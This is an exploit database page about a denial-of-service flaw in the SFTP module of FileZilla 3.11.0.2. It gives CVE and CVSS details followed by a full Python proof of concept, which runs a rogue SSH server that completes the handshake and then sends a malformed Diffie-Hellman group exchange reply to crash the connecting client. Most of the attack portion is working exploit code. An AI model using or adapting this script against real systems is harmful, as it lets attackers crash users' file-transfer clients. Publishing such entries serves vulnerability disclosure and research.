Exploitalert - Database of Exploits

Filezilla 3.11.0.2 sftp module denial of service vulnerability

CVE	Category	Price	Severity
CVE-2016-7169	CWE-DoS	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2015-06-15

CPE
cpe:cpe:/a:filezilla:filezilla:3.11.0.2

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:M/PR:N/UI:N/S:U/C:N/I:N/A:H	0.00281	0.31294

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2015060077

Filezilla 3.11.0.2 sftp module denial of service vulnerability''' # Exploit title: filezilla 3.11.0.2 sftp module denial of service vulnerability # Date: 5-6-2015 # Vendor homepage: http://www.chiark.greenend.org.uk # Software Link: http://dl.filehorse.com/win/file-transfer-and-networking/filezilla/FileZilla-3.11.0.2.exe?st=6b87ZegIN1LDhSGAw5M4wg&e=1434351489&fn=FileZilla_3.11.0.2_win32-setup.exe # Version: 3.11.0.2 # Author: 3unnym00n # Details: # -------- # sftp module for filezilla based on putty's psftp component. # when doing the ssh dh group exchange old style, if the server send a malformed dh group exchange reply, can lead the filezilla component crash # Tested On: win7, xp # operating steps: run the py, then execute : "D:\programfile\FileZilla FTP Client\filezilla.exe" sftp://[email protected] ''' import socket import struct soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.bind(('127.0.0.1', 22)) soc.listen(1) client, addr = soc.accept() ## do banner exchange ## send server banner client.send('SSH-2.0-SUCK\r\n') ## recv client banner client_banner = '' while True: data = client.recv(1) if data == '\x0a': break client_banner += data print 'the client banner is: %s'%client_banner.__repr__() ## do key exchange ## recv client algorithms str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send server algorithms client.send('000001b4091464f9a91726b1efcfa98bed8e93bbd93d000000596469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d73686131000000077373682d727361000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f7572323536000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f75723235360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d39360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000000000000000000000'.decode('hex')) ## do dh key exchange ## recv dh group exchange request str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send dh group exchange group client.send('00000114081f0000010100c038282de061be1ad34f31325efe9b1d8520db14276ceb61fe3a2cb8d77ffe3b9a067505205bba8353847fd2ea1e2471e4294862a5d4c4f9a2b80f9da0619327cdbf2eb608b0b5549294a955972aa3512821b24782dd8ab97b53aab04b48180394abfbc4dcf9b819fc0cb5ac1275ac5f16ec378163501e4b27d49c67f660333888f1d503b96fa9c6c880543d8b5f04d70fe508ffca161798ad32015145b8e9ad43aab48ada81fd1e5a8ea7711a8ff57ec7c4c081b47fab0c2e9fa468e70dd6700f3412224890d5e99527a596ce635195f3a6d35e563bf4892df2c79c809704411018d919102d12cb112ce1e66ebf5db9f409f6c82a6a6e1e21e23532cf24a6e300000001020000000000000000'.decode('hex')) ## recv dh group exchange init str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send dh group exchange reply dh_gex_reply_msg = '\x00\x00\x02\x3c' ## pl dh_gex_reply_msg += '\x09' ## padding len dh_gex_reply_msg += '\x21' ## dh gex reply dh_gex_reply_msg += '\x00\x00\xff\xff' ## dh host key len dh_gex_reply_msg += 'A'*600 client.sendall(dh_gex_reply_msg)

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